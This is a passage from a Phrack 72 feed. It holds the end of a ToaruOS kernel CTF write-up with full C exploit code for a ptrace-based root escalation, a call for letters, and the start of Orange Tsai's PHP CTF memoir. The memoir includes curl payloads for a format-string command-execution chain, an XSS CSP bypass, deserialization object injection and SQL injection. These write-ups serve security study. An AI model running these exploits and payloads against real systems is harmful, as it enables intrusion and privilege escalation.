mmu_get_page_other( tracee->thread.page_directory->directory, (uintptr_t)addr); if (!page_entry) return -EFAULT; if (!mmu_page_is_user_readable(page_entry)) return -EFAULT; Next, it gets the page table entry of the provided address 'addr' in the 'tracee' process. The reason 'ptr_validate()' isn't used for 'addr' is that the address is a pointer to memory in the currently running process, but instead in the 'tracee'. If there is no corresponding entry we exit with '-EFAULT'. If there is an entry we check if it is user readable and if not we error out as well. The check is implemented in a macro. #define mmu_page_is_user_readable(p) (p->bits.user) It checks if the user bit on the page is set. What that means is that we could just read the page from ring 3, so we can not access anything new this way. This all seems sensible, so let's move on. ---[ 4.5 - Poking the first hole Taking a look at 'ptrace_poke()' it is very similar to 'ptrace_peek()'. long ptrace_poke(pid_t pid, void * addr, void * data) { if (!data || ptr_validate(data, "ptrace")) return -EFAULT; process_t * tracee = process_from_pid(pid); if (!tracee || (tracee->tracer != this_core->current_process->id) || !(tracee->flags & PROC_FLAG_SUSPENDED)) return -ESRCH; union PML * page_entry = mmu_get_page_other( tracee->thread.page_directory->directory, (uintptr_t)addr); if (!page_entry) return -EFAULT; if (!mmu_page_is_user_writable(page_entry)) return -EFAULT; The only difference is that we check if the page is user writable now instead of readable, which seems sensible. But looking at the macro there's a glaring omission: #define mmu_page_is_user_writable(p) (p->bits.writable) It does check if the writable bit is set, but it does NOT check for the user bit. ---[ 4.6 - Flat mapping excursion Feel free to skip this section, it just clarifies some details about the way the write into another process works and is a little more verbose than the rest of the article. On x86 there is only one page table at a given time (per CPU). Generally that page table is the one of the address space of the currently running process. But 'ptrace_poke' wants to write to a virtual address in the address space of a different process. You might have noticed earlier that the function that looks up the page table entry is called 'mmu_get_page_other()'. The 'page_entry' that the function returns is a physical page that is very likely not currently mapped anywhere in the address space of the current process. Looking at the rest of the ptrace_poke() function will help make things clearer. uintptr_t mapped_address = mmu_map_to_physical(tracee->thread.page_directory->directory, (uintptr_t)addr); if ((intptr_t)mapped_address < 0 && (intptr_t)mapped_address > -10) return -EFAULT; 'mapped_address' is assigned the physical address that the virtual address 'addr' is mapped to in the 'tracee'. In order for a kernel to not have to constantly map and unmap pages it is common to instead have a flat virtual mapping at some offset that corresponds to every physical address minus that offset. In ToaruOS that offset is: #define HIGH_MAP_REGION 0xffffff8000000000UL void * mmu_map_from_physical(uintptr_t frameaddress) { return (void*)(frameaddress | HIGH_MAP_REGION); } This flat mapping is writable because the kernel is responsible for performing access checks and because it can not know ahead of time if a a given physical address may need to be written to in the future. Finally here is the rest of 'ptrace_poke()'. uintptr_t blarg = (uintptr_t)mmu_map_from_physical(mapped_address); *(char*)blarg = *(char*)data; return 0; 'blarg' becomes the pointer into the flat mapping which is writable and 'data' is written to it. As mentioned earlier, the access flags of a memory page are a property of the virtual mapping and not of the page itself. That is why 'mmu_page_is_user_writable()' needs to be explicitly checked by the kernel instead of just attempting to write and seeing if it fails. ---[ 5 - The bug Why is that a problem and what can we do with it? On first thought it may seem useless. The page probably doesn't have the user bit set anyway, so we still can't write to it from user mode. But during a syscall we aren't in user mode. The kernel handles syscalls in ring 0 and it is allowed to access non-user pages. 'ptrace()' is exactly such a syscall, which means that if we provide a valid kernel address and it is writable the write will succeed. Luckily, the mapping of the kernel itself is read/write/execute. I suspect because it is a LOT simpler to set it up that way before remapping the kernel to a high address. This means that for any address in the kernel itself we will pass the 'mmu_page_is_user_writable()' check. So this bug gives us a very nice one byte write-what-where primitive. ---[ 6 - Write-what-where, but where? Ideally we would like to just overwrite our own processes' uid to be 0 to become root. Unfortunately for us, the check in 'ptrace_peek()' is correct. So, while we can write in the kernel, we can't read anything anywhere in it. ---[ 6.1 - No KASLR ToaruOS doesn't have KASLR, so we know exactly where in memory the kernel is ahead of time. But what does that gain us? We could try to overwrite a global pointer, for example the current process and point it into our user space memory to a fake data structure. This would probably work since ToaruOS doesn't have SMAP. We could overwrite the address of an interrupt handler or a syscall or some other function pointer and redirect it so that we can run our own code in ring 0. This, too, would probably work since ToaruOS doesn't have SMEP. But both of these strategies require some extra effort in faking a data structure or writing C code that works properly in ring 0. ---[ 6.2 - SUIDn't The exploit strategy I ended up using was a lot simpler to implement. We can alter kernel memory anywhere, even the .text section and we know where everything is since there's no KASLR. Remember the SUID check in 'elf_exec' that I talked about in 5.3? Because we know the exact version of the kernel, we can simply look at the kernel image or read /proc/kallsyms in our local instance to find out at which address in virtual memory that function is. local@livecd ~$ sudo cat /proc/kallsyms | grep elf_exec 000000000010f300 elf_exec Disassembling the function with 'objdump' we can find the exact jump instruction that implements the if statement for SUID binaries. It is compiled to a 'jne' (jump not equal) conditional jump instruction that skips past the uid assignment if the binary isn't SUID. 10f365: 0f 85 48 01 00 00 jne 0x10f4b3 To turn 'jne' into 'je' we just need to flip the 0x85 into a 0x84 byte. 10f365: 0f 84 48 01 00 00 je 0x10f4b3 This negates the check so that now only non-SUID binary will assign their owners uid. Afterwards, simply running '/bin/esh' turns you into root and you can read the flag. ---[ 7 - In Closing I hope this article can help some curious people get started in the kernel security space. If nothing else maybe it can give somebody an appreciation for it. I also hope it doesn't seem like I am disparaging ToaruOS in any way. I really like the project. Security is not its main focus and still it is likely more stable and secure than many other hobby OSes. Kernel security is very very hard and even harder on defense. Kernel security has many pitfalls. Both because it is the core of what protects everything on any OS and also because there are many low level details that we usually have the luxury of ignoring in user space. I want to thank the HXP team for the fun CTF they hosted and my friends who I forced to proof-read for me. In particular Lukas Ratz, who motivated me to participate in the first place. ---[ 8 - References [1] https://github.com/klange/toaruos/tree/a54a0cbbee1ac18bceb2371e4987 6eab9abb3a11 [2] https://github.com/klange/toaruos [3] https://wiki.osdev.org/Paging ---[ A - Exploit Code #include <stdio.h> #include <unistd.h> #include <sys/ptrace.h> #include <errno.h> #include <string.h> #include <signal.h> #include <ctype.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/signal.h> #include <sys/signal_defs.h> #include <syscall_nums.h> int main(int argc, char** argv) { printf("[+] Starting exploit\n"); pid_t c_pid = fork(); if(c_pid<0) { printf("[-] Couldn't fork\n"); return -1; } // Child if(c_pid==0) { //attaching debugger so we can ptrace_poke if(ptrace(PTRACE_TRACEME,0,NULL,NULL)) { return -1; } signal(SIGINT, SIG_IGN); return 0; } int status = 0; waitpid(c_pid, &status, WSTOPPED); printf("[+] Child stopped as expected\n"); printf("[+] Replacing suid check\n"); char data[4]; //diff between jnz and je data[0] = 0x84; //jmp after compare in elf_exec for suid check void* target = 0x0010f365+1; int ret = ptrace(PTRACE_POKEDATA, c_pid, target, &data[0]); if(ret<0) { perror("ptrace"); return -1; } printf("[+] Should have broken check, get root shell\n"); char *n_argv[] = {"/bin/esh",NULL}; execve("/bin/esh", n_argv,NULL); } |=[ EOF ]=---------------------------------------------------------------=| ]]> https://phrack.org/issues/72/loopback.html Tue, 19 Aug 2025 00:00:00 +0000 Phrack Staff Phrack #72 phrack-72-4 ==Phrack Inc.== Volume 0x10, Issue 0x48, Phile #0x04 of 0x12 |=-----------------------------------------------------------------------=| |=----------------------=[ L O O P B A C K ]=----------------------------=| |=-----------------------------------------------------------------------=| |=-----------------------=[ Phrack Staff ]=-----------------------------=| |=-----------------------------------------------------------------------=| Since we got a chance to see you all IRL for our physical release, we want to give some time for people to talk to the community via loopback. Send us stories, feedback, and other funny stuff to loopback@phrack.org! Some prompts: - How has Phrack inspired you? - What did you think of this release? - What is your message to hackers of the future? - Do you have any questions for us? - Have you found any neat things you don't know where else to share? This of this as Phrack's yearbook or birthday card! We will publish our favorite submissions a week or so after the online release comes out. Write to us and check back here later! Make sure to put ANTISPAM in the the subject line or we won't see it <3 ]]> https://phrack.org/issues/72/the-art-of-php-my-ctf-journey-and-untold-stories.html Tue, 19 Aug 2025 00:00:00 +0000 Orange Tsai Phrack #72 phrack-72-5 |=-----------------------------------------------------------------------=| |=-------=[ The Art of PHP - My CTF Journey and Untold Stories! ]=-------=| |=-----------------------------------------------------------------------=| |=----------------=[ by Orange Tsai <orange@CHROOT.org> ]=---------------=| |=-----------------------------------------------------------------------=| --[ Table of Contents > Prologue - About Me - Hacking Competitions - Being a Pro CTF Gamer - How About PHP Security? > Main 1. Reviving Forgotten Bugs Through CTF 1.1 - Formatting Objects for Fun and Profit! 1.2 - When Security Features Make You Less Secure 2. One `unserialize()` to Rule Them All 2.1 - The "Serialize-Then-Replace" Pattern 2.2 - Sleepy Cats Catch No Mice 2.3 - The "Holy Grail" of Deserialization Attacks 3. When Windows Breaks... 3.1 - Windows Path Madness 3.2 - Let's Make Windows Defender Angry! 4. New Attacks and Techniques Born in CTFs 4.1 - Twenty Years of Evolving LFI to RCE Level 0 - The LFI Arms Race Level 1 - The End of LFI Level 2 - The End of AFR Level Max - Filter Chain ~After Story~ 4.2 - PHAR Deserialization Level 0 - What is PHAR? Level Max - Laravel (w/ mPDF) Kill Chain 5. Participants Also Popped 0days 5.1 - Hack the Scoreboard! 5.2 - From CTF to Real World! > Epilogue - Honorable Mention - Hats off to the CTF Community > References --[ Prologue We all play different roles throughout our lives. I was fortunate enough to discover my passion early - and even luckier to make a living out of it. Before becoming a full-time hacker, I was also a script kiddie causing trouble, a young guy thirsty for bigger thrills, and a bug hunter chasing higher bounties. And now, I can proudly call myself a "hacker." All these experiences - whether good or bad - have truly shaped who I am today, and this article shares one chapter of my life - the days when I was competing full-time in "hacking competitions!" ----[ > About Me Hi, I'm Orange Tsai. I guess many of you probably know me from my vulnerability research [1]. Maybe you've also heard my name mentioned as a Pwn2Own champion, a Pwnies Awards winner, or even spotted my bugs on the KEV (Known Exploited Vulnerabilities) list - like those in Microsoft Exchange Server, SSL VPNs, and most recently, Apache HTTP Server. I'm not really sure if this is something I should be proud of, but out of the top 15 bugs hackers exploited most in 2021 [2], around 60% were discovered and reported by me... (sigh) ----[ > Hacking Competitions It's been about 18 years since I first came across these so-called *hacking competitions*. Back then, those competitions - or Wargames, as we called them - weren't nearly as competitive as today's CTFs. Instead, they were more about passing down knowledge and, you know, just having fun. So all sorts of niche topics - whether from computer science, hacking skills, math, or even hacker culture - could become challenges, as long as geeks thought they were cool enough! So even today, after all these years, I still vividly remember those carefree days when I could simply explore new things. Every day I'd look forward to learning something new - no matter how useful or useless - diving deep into subjects just to solve one simple question, and getting excited about every tiny step forward. Just learn, hack, enjoy - then repeat! I still remember those days when I was hooked like it was an online game - staying up day and night climbing ranks on the leaderboards. At that time, I'd do anything to solve those challenges - even printing them out and shamelessly asking my math teacher for help. You know, for someone who wasn't exactly a typical "good student," that wasn't easy. Anyway, I tried everything I could think of, but nothing worked, and my ranking stayed stuck for a long time - until one day, I realized that the answer format wasn't as strict as I'd thought. That meant I could just skip the hardest part of the polynomial - and finally got the right answer! That was the first time - at least as far as I remember - that I felt the joy of solving problems in a clever way. It was also the first moment I clearly realized that, just by paying attention to a few more details, even someone like me could crack problems that the pros called impossible. This kind of "thinking outside the box" really had a huge impact on my life afterward! ----[ > Being a Pro CTF Gamer I've spent a huge part of my life playing these games, which we now call "CTF." For those unfamiliar with this term, here's a quick explanation: > CTF (Capture the Flag) was originally created by hackers to > challenge each other, requiring participants to master various > hacking techniques to capture the so-called *flag*. Ever since DEFCON officially introduced it as part of its event in 1996, CTF has gradually evolved into a highly competitive *esport*, where participants typically have 48 to 56 hours, to grind through challenges set by organizers. Over the years, CTF has also steadily grown into numerous event series across conferences, universities, and even nationwide tournaments - ranging from competitions like SECCON in Japan and XCTF in China, to international competitions like ICC. DEFCON CTF is especially regarded as the "holy grail" among enthusiasts - something many hackers dream of experiencing at least once in their lifetime. I'm fortunate to have experienced the golden age of CTF. Looking back at my "esports career," I've participated in hundreds of competitions, especially during those four to five years when I was deeply into CTF. I'd fly out to different countries almost every two months to attend those finals, all while grinding through those tough online qualifiers. Though I've gradually stepped away over the past few years, I still miss those days - whether it was hacking all night with my teammates in classrooms, or talking shit and just wandering around new cities between competitions - these moments remain some of my most precious memories! Another thing I really love about CTF is its unique community culture. In fact, a CTF's reputation usually depends directly on the quality of its challenges. To keep their events awesome year after year, organizers typically spend months gathering ideas, stuffing their most interesting techniques, wildest creativity, and proudest exploits into their challenges. Whether it's reconstructing a half-eaten QRCode pancake [3], physically hacking a slot machine [4], or giving each team an Xbox and asking them to battle it out in Doom [5] - these wild ideas fully showcase the organizers' creativity. Among them, I'd say the most legendary example has to be "cLEMENCy," introduced by LegitBS during their last year hosting DEFCON CTF [6]. They created an entirely new, middle-endian CPU instruction set and even *redefined a byte* as having 9 bits! => 9 bits per byte, stored in the middle-endian format! --------------------------------------------------------------------------- +-----Register (bit0 = MSB)-----+ bit index ---> | b0..b8 | b9..b17 | b18..b26 | +---------+----------+-----------+ | XX | YY | ZZ | +---------+----------+-----------+ | | (middle-endian store) v +---------+----------+-----------+ Memory (addr grows +1) | YY | XX | ZZ | <- addr+0, +1, +2 +---------+----------+-----------+ b9..b17 b0..b8 b18..b26 --------------------------------------------------------------------------- LegitBS released the emulator, debugging tools (and even a hardcover manual!) just one day before the competition. You can't imagine how shocked we were at the time! They spent two whole years designing a brand-new architecture but gave teams just three days to master and craft shellcode on it. But even now, I still see it as a remarkable feat, because they successfully shifted the competition's focus back to teams' genuine skills, rather than those pre-made tools. Of course, this also turned the finals into a four-day hackathon. (shrug) Aside from the culture, many brilliant ideas have also come from CTF teams while solving tough challenges. Techniques like One-Gadget RCE [7] are classic tricks full of CTF spirit. Others, such as Return-to-CSU [8] and House of Orange [9], are also fan favorites. Even the "Metagame" outside the competitions is part of what makes CTF more fun. I've heard of teams plugging network cables into other teams' routers through social engineering, exploiting Wireshark bugs to mess with other teams' packet analysis, using FreeBSD 0days to enable "God Mode" [10], or even exploiting ELF parser bugs [11] to fool all reversing tools - just like my teammates did [12]. These are exactly the kinds of creative tricks and techniques competitions inspire! I really love this vibe - a group of people, without worrying about anything, just hacking for fun. So even though CTF is essentially a competition, it's still somehow a reflection of the internet. I think these creative sparks between organizers and participants deserve to be remembered, instead of being lost in time. That's exactly why I want to take this opportunity - to make sure these incredible stories live on! ----[ > How About PHP Security? I really love PHP! Especially back in those days, just knowing a little bit about it was enough to roam freely on the internet - somehow, its flaws made it feel flawless. Of course I know, doing this so-called *website hacking* usually got you labeled as a noob - or worse, a script kiddie. But no matter what, I still really want to write something about PHP - especially from the perspective of its internals and language design. I started getting into PHP around 2010. Back then, Stefan Esser's "The Month of PHP Security" [13] felt like the only bible to me! Another webzine I absolutely loved was "PHP Codz Hacking," published by 80vul [14]. Though I couldn't fully grasp all the details at the time, I still kept reading whenever there was an update. These were all like spiritual food during my youth, shaping the younger me! As the CTF scene rapidly grew around the mid-2010s, it gradually became a significant contributor to PHP security. Whether it was organizers crafting ingenious challenges to test hackers worldwide, or teams coming up with unexpected solutions, all of these efforts have pushed PHP security forward. Just like I mentioned earlier, though CTF is essentially a mirror of the internet, sometimes it has real-world impacts, too! Fast forward to recent years, thanks to CTF, I've had the chance to witness - and even help create - several new attack techniques. Along the way, I've also revisited PHP's source code more times than I can count. I know there must be others who could talk about this better than me, but anyway, please let me take this special opportunity to fulfill one of my lifelong dreams! --[ Main Next up, I'd like to talk about the sparks that fly between CTF and PHP! Whether it's those classic techniques that have inspired generations of CTF authors, or how the CTF community pushes the security boundary in its unique way, I'd love to highlight those stories. Of course, no one can know every story out there. So, if anything's missing or inaccurately mentioned, I apologize in advance. Also, I'd love to hear more stories from you - I mean, the more we share these tales, the longer they'll live on :) ----[ 1. Reviving Forgotten Bugs Through CTF We always want to stay at the cutting edge, but it's impossible to keep an eye on every single detail out there. That's exactly why CTF is such a perfect way to revisit those forgotten bugs. In fact, to create truly awesome challenges, many CTF authors even become "bug archaeologists." I mean, figuring out what's really fun seriously tests how broad our knowledge is and whether you're up-to-date with the latest techniques. That's why CTF authors usually go treasure hunting through obscure technical docs, forgotten forums, and even ancient bug trackers - digging out minor issues, unleashing their creativity, and breathing new life into them! Just take the "Corrupting Upload File Indices" bug [15], for example - it's something I'd completely overlooked for ages. It cleverly exploits the inconsistent use of `snprintf()` when building array index names, allowing you to craft data structures that normally require multiple file uploads - by using just the single-upload mode! It wasn't until I came across this trick during a quick onsite CTF that I realized I'd totally missed out on such a cool bug! ------[ 1.1 - Formatting Objects for Fun and Profit! Since this is the first chapter, let me kick things off by sharing something from my own collection! Ever since the "Arbitrary Object Instantiation" first appeared in 2015 [16], I've been closely following this type of attack. Simply put, this attack is all about exploring what can go wrong when attackers control exactly which object gets instantiated by the `new` keyword. From past experiences messing around with Object Injection, we already know that the available classes in the environment pretty much decide whether an attack will succeed. Over the years, lots of researchers have dived into this topic and significantly advanced the exploitation techniques [17]. But if there aren't any vulnerable classes left in the environment - does that mean game over? Of course not! If you stop limiting yourself to "simply instantiating PHP objects," and instead take things down to a low-level language like C, you might even discover an entirely new way to break things open! -----------------[ Arbitrary Objects? Choose Your Weapon! ]---------------- <?php $model = $_GET['model']; $object = new $model(); --------------------------------------------------------------------------- I think the bug Andrew discovered [18] is an excellent example! This was a format-string vulnerability that popped up briefly in PHP 7.0.0. When PHP was making the big jump from 5.6 to 7.0, it introduced a brand-new `Throwable` interface to better catch errors that the old exception mechanism couldn't handle. However, while integrating the existing exception-handling logic into this new interface, the developers accidentally brought along this vulnerability, too. +--------------------------+ +--------------------------+ | Arbitrary Object Inst. | | PHP Bug #71105 | |--------------------------| |--------------------------| | <?php | | <?php | +==========+ | $model = $_GET['mod']; | + | $name = "%n%n%n"; | = [ B O O M !] | $obj = new $model(); | | $name::doSomething(); | +==========+ +--------------------------+ +--------------------------+ When I first saw Andrew's report, it immediately hit me that this bug could perfectly combine with the previous attack, creating a fun combination - something I'd like to call "Format-String Oriented Programming!" +--------------------[ One two three - pop that FSB! ]--------------------+ => [1] leak address through PHP errors $ curl "http://orange.local/index.php?model=%p-%p-%p" Fatal error: Uncaught Error: Class '0x23-0x7fffb61f3df0-0x7f1b12666000' not found in [...] |-------------------------------- [ next ] -------------------------------| => [2] move a heap pointer on stack to `GOT(free)-2` $ curl "http://orange.local/index.php?model=AAAAAAAAAAA \ AAAAAAAA-%p-%p-%p-[...]-%p-%p-%p-%015373273d-%n" [...] |-------------------------------- [ next ] -------------------------------| => [3] partially overwrite `GOT[free]` to call `system()` $ curl "http://orange.local/index.php?model='|id&&exit; \ AAAAAAAA-%p-%p-%p-[...]-%p-%p-%p-%0605504d-%n" [...] uid=33(www-data) gid=33(www-data) groups=33(www-data) +-------------------------------------------------------------------------+ Originally, this was just an idea collecting dust in my notes, waiting for the perfect moment to turn it into a challenge - but who knew ten years would fly by like that? Since the perfect timing never came, maybe this is the right place to write it down - I mean, it's not every day you get to see a classic format-string bug popping up in a scripting language. That's PHP for you! ------[ 1.2 - When Security Features Make You Less Secure Ever since @alech and @zeri shocked everyone, demonstrating how you could take down almost every programming language through algorithmic complexity [19], PHP had no choice but to introduce the `max_input_vars` directive as a countermeasure. Although this measure didn't solve the problem from its root, at least it prevented resource exhaustion from excessive input. However, using limitations as a defense can sometimes be a double-edged sword. Just take PCRE's `backtrack_limit` as an example - it was originally supposed to block ReDoS, but attackers flipped it and used it to invalidate regular expressions instead. And now, I'd like to introduce another interesting one - where a security feature actually leads to a *security bypass*! In PHP, there's a hidden trap while setting HTTP headers: if there's any kind of output before response headers, PHP would simply ignore all subsequent `header()` calls. The official documentation also explicitly mentions this: > Remember that `header()` must be called before any actual output is > sent, either by normal HTML tags, blank lines in a file, or from > PHP. This is a textbook issue, and pops up in many CTF challenges. Yet, in most cases, it still relies on unexpected output caused by existing logical errors. But what if today, there's no code before setting response headers at all - can you still exploit it? ---------------------[ CSP: Content Security Policy ]---------------------- <?php header("Content-Security-Policy: default-src 'none';"); echo $_GET["xss"]; --------------------------------------------------------------------------- Definitely! @pilvar cleverly exploited a side effect on `max_input_vars` [20] : when the number of parameters exceeds PHP's limit, PHP kindly throws a warning message at you. However, this warning indeed violates the assumption that "there must be no output before the response header," totally breaking the defense-in-depth CSP, and re-enabling Cross-Site Scripting again! +---------------------[ CSP? Can't Stop Payloads! ]---------------------+ => [1] CSP says No! $ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>" HTTP/1.1 200 OK [...] Content-Security-Policy: default-src 'none'; <svg/onload=alert(1)> |-------------------------------- [ next ] -------------------------------| => [2] We're free from CSP now! $ curl -i "http://orange.local/?xss=<svg/onload=alert(1)> \ &A=1&A=2&A=3&A=4&...&A=999&A=1000" HTTP/1.1 200 OK [...] <b>Warning</b>: PHP Request Startup: Input variables exceeded 1000 [...] <br /> <b>Warning</b>: Cannot modify header information - headers already sent <svg/onload=alert(1)> +-------------------------------------------------------------------------+ Honestly, I really love this kind of story - where security features end up making you less secure! And... Speaking of fixes for complexity attacks - there was one time when a patch accidentally upgraded the simple DoS issue into full-blown remote code execution. But that's a whole other fun story [21]! ----[ 2. One `unserialize()` to Rule Them All The entire Infosec community realized early on: once attackers control the `unserialize()` input, they can prefill an object and reuse dangerous Magic Methods to launch various attacks. However, as people gradually became aware of the danger of deserialization, developers no longer trusted user-supplied inputs. This shift pushed security researchers to start digging deeper into the underlying behavior of applications. WordPress, for example, stores strings, arrays, and even objects in the database without caring about their data types - which turns out to be a particularly interesting feature. In WordPress, whenever a string fetched from the database "looks serialized," WordPress attempts to restore it automatically. So whether you're leveraging an asymmetric serialization interface [22], or bringing back the classic Column Truncation Attack [23] with a Pile of Poo Emoji (U+1F4A9) [24], you can easily trigger a deserialization bug in WordPress! -----------------[ WordPress Unserialize ALL the Things! ]----------------- function maybe_unserialize( $original ) { if ( is_serialized( $original ) ) // Looks serialized? Let's wake it up! return @unserialize( $original ); return $original; } function is_serialized( $data, $strict = true ) { // [...] validate serialized string formats $token = $data[0]; switch ( $token ) { // [...] `O` stands for `Object` case 'O' : return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data ); case 'b' : case 'i' : case 'd' : $end = $strict ? '$' : ''; return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data ); } return false; } --------------------------------------------------------------------------- ------[ 2.1 - The "Serialize-Then-Replace" Pattern As far as I remember, the first time I saw this pattern was back in 0CTF 2016 [25]. The challenge cleverly leveraged an extra step that applications perform on serialized strings - breaking the serialization format, causing the embedded string to escape from its intended context, and ultimately get interpreted as an entirely new - and malicious - object! And if we're talking about classic examples of this concept, Joomla! definitely comes to mind - it manages all SESSION operations by itself, storing serialized user states directly in the database. However, since the PHP serialization can produce strings containing NULL bytes, Joomla! also replaces these NULLs with special placeholders to maintain backward compatibility, giving attackers a perfect opportunity to break the deserialization format by flooding the username field with lots of placeholders [26]. I guess this is exactly the original inspiration behind that 0CTF challenge! +--------------------[ Serialize, Replace, Then Pwn! ]--------------------+ => [1] crafting the payload... php > $user = 'orange'; php > $pass = ';s:8:"password";O:4:"Evil":0:{}s:8:"realname";s:5:"pwned'; php > $name = 'Orange Tsai' . str_repeat('..', 25); php > $obj = new User($user, $pass, $name); php > $data = serialize($obj); |-------------------------------- [ next ] -------------------------------| => [2] developers attempt to block path traversal :) php > $data = str_replace("..", "", $data); |-------------------------------- [ next ] -------------------------------| => [3] the length of `realname` field has been corrupted ;) php > print_r($data); O:4:"User":3:{ s:8:"realname";s:61:"Orange Tsai";s:8:"username";[...] ^^ <--- corrupted length: [61 bytes] |---------------------------------| |"Orange Tsai";s:8:"username";s:6:| |"orange";s:8:"password";s:56:" | |---------------------------------| ;s:8:"password";O:4:"Evil":0:{} s:8:"realname";s:5:"pwned"; } |-------------------------------- [ next ] -------------------------------| => [4] We have smuggled our own *Evil* object! php > print_r(unserialize($data)); User Object ( [realname] => pwned [password] => Evil Object () ) +-------------------------------------------------------------------------+ Though the above case sounds specific - developers ideally shouldn't mess around with serialized content in the first place - the real world is usually way more complex than expected. As architectures start stacking layers upon layers, it's easy to make mistakes. A perfect showcase is how WordPress introduced a "dirty fix" to address its infamous "Double Preparing" problem [27]. Basically, Double Preparing is simply a bad developer practice. It stems from the mistaken assumption that anything returned by one `prepare()` is inherently safe - so passing it to another `prepare()` must be safe, too. Though WordPress does block dangerous characters from SQL injection, it can't really prevent developers from misusing format strings like `%s`. This bad practice ultimately breaks the whole prepared statement mechanism, reviving SQL Injection once again! ----------------------[ Prepare Twice, Inject Once! ]---------------------- php > $value = "%1$%s OR 1=1--#"; php > $clause = $wpdb->prepare(" AND value = %s", $value); php > $query = $wpdb->prepare( "SELECT col FROM table WHERE key = %s $clause", $key); php > $wpdb->get_row($query); // SELECT col FROM table WHERE key='****' AND value = '****' OR 1=1--#' --------------------------------------------------------------------------- And to keep developers from stepping on this landmine, WordPress introduced a workaround - it temporarily replaces all formatting characters processed by `$wpdb->prepare()` with placeholders, and only restores all right before executing the actual query. Though this approach effectively stops developers from introducing unexpected formatting characters while constructing queries, WordPress didn't count on one special case - the query itself might also contain placeholders! => The WordPress Way: Hiding every single `%`! --------------------------------------------------------------------------- public function prepare( $query, $args ) { /* [...] formatting the $query with $args */ // [!!!] replace `%` with a *random* placeholder. return str_replace( '%', $this->placeholder_escape(), $query ); } --------------------------------------------------------------------------- So when this mechanism is combined with the serialization process we mentioned earlier, developers could unintentionally create a "serialized string containing placeholders," causing WordPress to mistakenly restore extra placeholders, storing serialized data with mismatched lengths. Then, the next time WordPress retrieves the data, it gets parsed incorrectly - turning a previously legitimate string into a malicious object. Since this behavior is considered just an unintended side effect, the issue still exists even in the latest version. For plugin developers relying on the WordPress ecosystem, the best they can do is try to avoid stepping on this landmine as much as possible - or they'll end up like WooCommerce, becoming yet another victim of deserialization vulnerabilities [28]. ------[ 2.2 - Sleepy Cats Catch No Mice However, if we're really going to talk about the deserialization problem from a broader view, you'll see developers have also put in a ton of effort. Besides minimizing entry points to `unserialize()`, they've invested a huge amount of effort into strengthening commonly used libraries. That way, even if attackers manage to find deserialization bugs within applications, they'll struggle to actually exploit them due to the lack of usable POP chains - ultimately making the entire PHP ecosystem much safer! However, building such defenses was not easy at all. At first, developers relied on simple regular expressions as a safeguard, but the whole situation quickly turned into a classic cat-and-mouse game due to PHP's overly loose serialization parser. Developers soon moved their checks to the `__wakeup()` method, hoping to build a more robust gatekeeper right at the very start of the deserialization process. But (un)surprisingly, under certain conditions, PHP itself could even *silently skip calling the `__wakeup()` method* [29]! This unexpected behavior completely broke every defense relying on it - eventually leading to a remote code execution vulnerability in SugarCRM! => How SugarCRM attempted to protect against deserialization attacks --------------------------------------------------------------------------- public function __wakeup() { // clean all properties foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } throw new Exception("Not a serializable object"); } --------------------------------------------------------------------------- Around 2017, we also started seeing various CTF challenges that aimed to bypass the `__wakeup()` guard. However, most of them were still based on scenarios where different objects shared a same context - players had to trigger garbage collection before one object's *delayed* __wakeup(), then reuse dangerous code inside another object's destructor. What really caught my eye was the clever "Reference Trick" [30] used by Paul Axe at WCTF 2019: by pointing dangerous properties elsewhere, he neatly bypassed the property-cleanup operations. The same idea was later adopted into several Laravel's POP chains [31], becoming yet another classic of deserialization bypass! ------[ 2.3 - The "Holy Grail" of Deserialization Attacks We've talked about plenty of deserialization issues so far, but how much damage they can actually cause still depends heavily on whether the application has any vulnerable classes or not. Of course, projects like PHPGGC [32] have been continuously documenting and polishing generic POP chains, but how to pull off deserialization attacks without any existing application code still remains the holy grail for deserialization hackers. It's true that in the early days, hackers experimented with neat tricks - like using `SoapClient` to pull off XXE or SSRF [33] - but that was still quite far from achieving real RCE. Since then, app-level exploitation seemed to have hit a bottleneck, and lower-level approaches - especially those focusing on memory corruption - quickly became hot topics. When it comes to the legendary memory corruption cases in PHP deserialization, most people might probably think of the amazing work by @cutz (and others) on PornHub [34]. But, I bet we all first learned how to craft fake `zval` structures from Stefan Esser's research [35] - going step-by-step from arbitrary reads, arbitrary writes, all the way to fully controlling the Program Counter! And while we're on this topic, there's another name we absolutely can't miss: Taoguang "Ryat" Chen. He began reporting tons of bugs directly inside the serialization parser starting around 2015, sparking a new wave of low-level research on deserialization issues. Even PHP's core developers also publicly acknowledged that "deserialization had become the largest source of security bug reports" for them! I've also personally benefited multiple times from bugs reported by @Ryat (thanks!). During one of my red team operations, I started from a Type Juggling 0day, turned that into a Use-After-Free [36], and then spent several weeks grinding through it before finally achieving full RCE on a completely unknown and remote environment. Honestly, it's still one of my proudest hacks to this day, and I even turned the whole process into a CTF challenge afterward - if you're interested in the full chain, feel free to check it out right here [37]! With the official PHP team announcing "they wouldn't treat `unserialize()` as a security boundary anymore," it seemed like the whole deserialization journey was coming to an end. But just as everyone thought the era of deserialization was about to close, another new chapter was already taking shape - ready to shock the entire Infosec the very next year. We'll dive into this brand-new technique shortly in the upcoming section, "New Attacks and Techniques Born in CTFs". [ -- Spoiler Alert: it's our all-time friend, LFI... and more! ;) ] ----[ 3. When Windows Breaks... One thing I really love about Web Security is that, even though each individual trick seems pretty simple, the real challenge lies in figuring out how to chain them together. Especially nowadays, behind every seemingly simple website, there's usually a complex mix of tech stacks, layered architectures, and cross-system interactions - not to mention that each component has its own quirks and technical debt. So what makes Web Security fascinating - and frankly beautiful - to me is finding a tiny flaw, figuring out how to leverage the architecture to amplify its impact, and chaining everything together into a clean, well-crafted exploit to finally take over the entire system! Personally, I'm a huge fan of the security issues caused by interactions across applications. Whether it's about HTTPoxy [38] - caused by naming collisions defined in RFC specs - TLS Poison attacks [39] that abuse TLS/SSL session resumption, or an old-school trick from the '90s resurfacing in modern frameworks [40] like Laravel, these are all legendary in my book! But here let's put those aside for now - and start with everyone's favorite classic: Windows! ------[ 3.1 - Windows Path Madness If we're really talking about the most notorious issue when running PHP on Windows, I'd say it's definitely how Windows handles file paths! My earliest memories of this topic probably come from the classic articles by the teams at USH.it [41] and ONsec [42]. They documented tons of quirky behaviors in how Windows processes file paths, allowing you to access files in all kinds of fancy ways. These tricks were so well-known in the early days that you'd see them in basically every CTF. Probably the most memorable combo was using 